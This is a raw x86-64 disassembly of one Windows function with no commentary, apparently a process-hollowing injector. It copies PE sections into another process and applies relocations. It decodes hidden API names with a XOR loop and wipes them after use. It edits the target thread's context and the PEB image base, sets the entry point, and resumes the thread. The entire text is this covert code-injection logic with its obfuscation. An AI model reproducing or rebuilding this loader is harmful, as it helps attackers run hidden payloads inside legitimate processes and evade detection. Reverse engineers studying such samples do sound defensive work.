je 0x14000328d
mov dword [rsp + 0x750], 0
mov eax, dword [rsp + 0x750]
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140003261
mov rax, qword [rsp + 0xa878]
add rax, 4
add rax, 0x14
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx + 0x14]
add rax, rcx
movsxd rcx, dword [rsp + 0x750]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x748], rax
mov eax, dword [rsp + 0x770]
mov rcx, qword [rsp + 0x748]
cmp eax, dword [rcx + 0xc]
jb 0x1400031ad
mov eax, dword [rsp + 0x770]
mov rcx, qword [rsp + 0x748]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x748]
add ecx, dword [rdx + 8]
cmp eax, ecx
jae 0x1400031ad
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r10, qword [rsp + 0x748]
mov r8d, dword [r10 + 0xc]
mov r9d, dword [r10 + 0x10]
add rdx, r8
mov r8, qword [rsp + 0x960]
mov r10d, dword [r10 + 0x14]
add r8, r10
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x190], rax
jmp 0x140003201
mov rax, qword [rsp + 0x190]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x747], al
mov al, byte [rsp + 0x747]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x140003246
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
jmp 0x14000324b
mov eax, dword [rsp + 0x750]
add eax, 1
mov dword [rsp + 0x750], eax
jmp 0x14000310f
cmp qword [rsp + 0x768], 0
jne 0x140003288
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
jmp 0x140003394
mov dword [rsp + 0x740], 0
mov eax, dword [rsp + 0x740]
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x14000338f
mov rax, qword [rsp + 0xa878]
movzx ecx, word [rax + 0x14]
add rax, rcx
movsxd rcx, dword [rsp + 0x740]
lea rcx, [rcx + rcx*4]
lea rax, [rax + rcx*8 + 0x18]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r10, qword [rsp + 0x758]
mov r8d, dword [r10 + 0xc]
mov r9d, dword [r10 + 0x10]
add rdx, r8
mov r8, qword [rsp + 0x960]
mov r10d, dword [r10 + 0x14]
add r8, r10
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x188], rax
jmp 0x14000332f
mov rax, qword [rsp + 0x188]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x757], al
mov al, byte [rsp + 0x757]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x140003374
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
jmp 0x140003379
mov eax, dword [rsp + 0x740]
add eax, 1
mov dword [rsp + 0x740], eax
jmp 0x140003298
jmp 0x140003394
test byte [rsp + 0x96f], 1
je 0x14000385c
mov dword [rsp + 0x73c], 0
mov eax, dword [rsp + 0x73c]
cmp eax, dword [rsp + 0x774]
jae 0x140003857
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x768]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rsp + 0x73c]
add rax, rcx
mov qword [rsp + 0x730], rax
mov eax, dword [rsp + 0x73c]
add rax, 8
mov dword [rsp + 0x73c], eax
mov rax, qword [rsp + 0x730]
mov eax, dword [rax + 4]
sub rax, 8
shr rax, 1
mov dword [rsp + 0x72c], eax
mov dword [rsp + 0x728], 0
mov eax, dword [rsp + 0x728]
cmp eax, dword [rsp + 0x72c]
jae 0x140003852
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x768]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rsp + 0x73c]
add rax, rcx
mov qword [rsp + 0x720], rax
mov eax, dword [rsp + 0x73c]
add rax, 2
mov dword [rsp + 0x73c], eax
mov rax, qword [rsp + 0x720]
mov ax, word [rax]
shr ax, 0xc
movzx eax, ax
cmp eax, 0
jne 0x14000348e
jmp 0x14000383c
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x730]
mov ecx, dword [rcx]
add rax, rcx
mov rcx, qword [rsp + 0x720]
movzx ecx, word [rcx]
and ecx, 0xfff
add rax, rcx
mov qword [rsp + 0x718], rax
mov dword [rsp + 0x714], 0
lea rcx, [rsp + 0x6f0]
lea rdx, [rsp + 0x6e8]
call fcn.1400043c0
jmp 0x1400034e4
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa998], rax
mov rax, qword [rsp + 0xa998]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0xabe0], rax
mov rax, qword [rsp + 0xabe0]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0xabe8], rax
mov rax, qword [rsp + 0xabe8]
movzx eax, word [rax + 0x22]
cmp eax, 0
je 0x1400035e6
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xac08], rax
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0xac08]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0xabfc], 0
cmp dword [rsp + 0xabfc], 0x12
jge 0x1400035e1
mov rax, qword [rsp + 0xac00]
movsxd rcx, dword [rsp + 0xabfc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabfc]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x168]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabfc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabfc]
add eax, 1
mov dword [rsp + 0xabfc], eax
jmp 0x14000357c
jmp 0x1400035e6
jmp 0x1400035eb
jmp 0x1400035f0
mov rcx, qword [rsp + 0x178]
call fcn.1400014e0
mov qword [rsp + 0x160], rax
jmp 0x14000360a
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x170]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x158], rax
jmp 0x140003630
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x6e0], rax
cmp qword [rsp + 0x6e0], 0
jne 0x140003667
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa9a0], rax
mov rax, qword [rsp + 0xa9a0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0xabf0]
movzx eax, word [rax + 0x22]
cmp eax, 0
jne 0x140003741
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0xac20], rax
mov qword [rsp + 0xac18], rax
mov rax, qword [rsp + 0xac20]
mov qword [rsp + 0x148], rax
mov dword [rsp + 0xac14], 0
cmp dword [rsp + 0xac14], 0x12
jge 0x14000373c
mov rax, qword [rsp + 0xac18]
movsxd rcx, dword [rsp + 0xac14]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac14]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x148]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac14]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac14]
add eax, 1
mov dword [rsp + 0xac14], eax
jmp 0x1400036d7
jmp 0x140003741
jmp 0x140003746
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa9b0], rax
mov rax, qword [rsp + 0xa9b0]
mov qword [rsp + 0x140], rax
mov dword [rsp + 0xa9ac], 0
cmp dword [rsp + 0xa9ac], 0x12
jge 0x1400037ab
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rsp + 0xa9ac]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9ac]
add eax, 1
mov dword [rsp + 0xa9ac], eax
jmp 0x140003771
jmp 0x1400037b0
mov rax, qword [rsp + 0x6e0]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x718]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x714]
mov r9d, 4
call rax
jmp 0x1400037e8
mov ecx, dword [rsp + 0x7bc]
mov eax, dword [rsp + 0x714]
add eax, ecx
mov dword [rsp + 0x714], eax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x718]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x714]
mov r9d, 4
call rax
jmp 0x140003837
jmp 0x14000383c
mov eax, dword [rsp + 0x728]
add eax, 1
mov dword [rsp + 0x728], eax
jmp 0x140003420
jmp 0x1400033ad
jmp 0x14000385c
mov dword [rsp + 0x410], 0x10000b
lea rcx, [rsp + 0x3e0]
lea rdx, [rsp + 0x3d8]
call fcn.140004400
jmp 0x140003881
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0xa9c0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xac28]
mov qword [rsp + 0x138], rax
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0xac40]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x140003983
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xac80], rax
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0xac80]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0xac74], 0
cmp dword [rsp + 0xac74], 0x16
jge 0x14000397e
mov rax, qword [rsp + 0xac78]
movsxd rcx, dword [rsp + 0xac74]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac74]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x120]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac74]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac74]
add eax, 1
mov dword [rsp + 0xac74], eax
jmp 0x140003919
jmp 0x140003983
jmp 0x140003988
jmp 0x14000398d
mov rcx, qword [rsp + 0x130]
call fcn.1400014e0
mov qword [rsp + 0x118], rax
jmp 0x1400039a7
mov rdx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x128]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x110], rax
jmp 0x1400039cd
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x3d0], rax
cmp qword [rsp + 0x3d0], 0
jne 0x140003a04
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041bd
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x8d8]
lea rdx, [rsp + 0x410]
call rax
mov qword [rsp + 0x108], rax
jmp 0x140003a2b
mov rax, qword [rsp + 0x108]
test rax, rax
setne byte [rsp + 0x3cf]
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov edx, dword [rsp + 0x4b4]
add rdx, 8
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x7f8]
mov r9d, 4
call rax
mov qword [rsp + 0x100], rax
jmp 0x140003a81
mov rax, qword [rsp + 0x100]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x3ce], al
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0xa9d0]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0xac48], rax
mov rax, qword [rsp + 0xac48]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x140003b73
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xac98], rax
mov qword [rsp + 0xac90], rax
mov rax, qword [rsp + 0xac98]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0xac8c], 0
cmp dword [rsp + 0xac8c], 0x16
jge 0x140003b6e
mov rax, qword [rsp + 0xac90]
movsxd rcx, dword [rsp + 0xac8c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac8c]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0xf0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac8c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac8c]
add eax, 1
mov dword [rsp + 0xac8c], eax
jmp 0x140003b09
jmp 0x140003b73
jmp 0x140003b78
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9f0], rax
mov rax, qword [rsp + 0xa9f0]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xa9ec], 0
cmp dword [rsp + 0xa9ec], 0x16
jge 0x140003bdd
mov rax, qword [rsp + 0xe8]
movsxd rcx, dword [rsp + 0xa9ec]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9ec]
add eax, 1
mov dword [rsp + 0xa9ec], eax
jmp 0x140003ba3
jmp 0x140003be2
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x398]
call fcn.140004440
jmp 0x140003bfc
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0xa878]
mov ecx, dword [rcx + 0x28]
add rax, rcx
mov dword [rsp + 0x4c0], eax
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0xa9b8]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0xac30]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xac38], rax
mov rax, qword [rsp + 0xac38]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x140003d1b
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xac68], rax
mov qword [rsp + 0xac60], rax
mov rax, qword [rsp + 0xac68]
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0xac5c], 0
cmp dword [rsp + 0xac5c], 0x16
jge 0x140003d16
mov rax, qword [rsp + 0xac60]
movsxd rcx, dword [rsp + 0xac5c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac5c]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0xc8]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac5c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac5c]
add eax, 1
mov dword [rsp + 0xac5c], eax
jmp 0x140003cb1
jmp 0x140003d1b
jmp 0x140003d20
jmp 0x140003d25
mov rcx, qword [rsp + 0xd8]
call fcn.1400014e0
mov qword [rsp + 0xc0], rax
jmp 0x140003d3f
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xd0]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0xb8], rax
jmp 0x140003d65
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov rcx, qword [rsp + 0x8d8]
lea rdx, [rsp + 0x410]
call rax
mov qword [rsp + 0xb0], rax
jmp 0x140003d9c
mov rax, qword [rsp + 0xb0]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x38f], al
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9c8], rax
mov rax, qword [rsp + 0xa9c8]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xac50], rax
mov rax, qword [rsp + 0xac50]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x140003e8e
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xacb0], rax
mov qword [rsp + 0xaca8], rax
mov rax, qword [rsp + 0xacb0]
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xaca4], 0
cmp dword [rsp + 0xaca4], 0x16
jge 0x140003e89
mov rax, qword [rsp + 0xaca8]
movsxd rcx, dword [rsp + 0xaca4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaca4]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0xa0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaca4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaca4]
add eax, 1
mov dword [rsp + 0xaca4], eax
jmp 0x140003e24
jmp 0x140003e8e
jmp 0x140003e93
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9e0], rax
mov rax, qword [rsp + 0xa9e0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa9dc], 0
cmp dword [rsp + 0xa9dc], 0x16
jge 0x140003ef8
mov rax, qword [rsp + 0x98]
movsxd rcx, dword [rsp + 0xa9dc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9dc]
add eax, 1
mov dword [rsp + 0xa9dc], eax
jmp 0x140003ebe
jmp 0x140003efd
lea rcx, [rsp + 0x370]
lea rdx, [rsp + 0x368]
call fcn.140004480
jmp 0x140003f17
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa9f8], rax
mov rax, qword [rsp + 0xa9f8]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xaa00], rax
mov rax, qword [rsp + 0xaa00]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0xaa10]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x140004013
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xaa40], rax
mov qword [rsp + 0xaa38], rax
mov rax, qword [rsp + 0xaa40]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0xaa34], 0
cmp dword [rsp + 0xaa34], 0xd
jge 0x14000400e
mov rax, qword [rsp + 0xaa38]
movsxd rcx, dword [rsp + 0xaa34]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa34]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x78]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa34]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa34]
add eax, 1
mov dword [rsp + 0xaa34], eax
jmp 0x140003fac
jmp 0x140004013
jmp 0x140004018
mov rcx, qword [rsp + 0x88]
call fcn.1400014e0
mov qword [rsp + 0x70], rax
jmp 0x14000402f
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x68], rax
jmp 0x14000404f
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x8d8]
call rax
jmp 0x140004073
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa8b8], rax
mov rax, qword [rsp + 0xa8b8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0xaa20]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x140004141
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xaa70], rax
mov qword [rsp + 0xaa68], rax
mov rax, qword [rsp + 0xaa70]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0xaa64], 0
cmp dword [rsp + 0xaa64], 0xd
jge 0x14000413c
mov rax, qword [rsp + 0xaa68]
movsxd rcx, dword [rsp + 0xaa64]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa64]
mov r8d, 0x39
cdq
idiv r8d
mov rax, qword [rsp + 0x58]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa64]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa64]
add eax, 1
mov dword [rsp + 0xaa64], eax
jmp 0x1400040da
jmp 0x140004141
jmp 0x140004146
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa8d0], rax
mov rax, qword [rsp + 0xa8d0]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0xa8cc], 0
cmp dword [rsp + 0xa8cc], 0xd
jge 0x1400041a5
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rsp + 0xa8cc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa8cc]
add eax, 1
mov dword [rsp + 0xa8cc], eax
jmp 0x14000416e
jmp 0x1400041aa
mov byte [rsp + 0xa897], 1
mov dword [rsp + 0x89c], 1
lea rcx, [rsp + 0xa2f8]
call fcn.14002a100
mov al, byte [rsp + 0xa897]
and al, 1
movzx eax, al
add rsp, 0xacb8
ret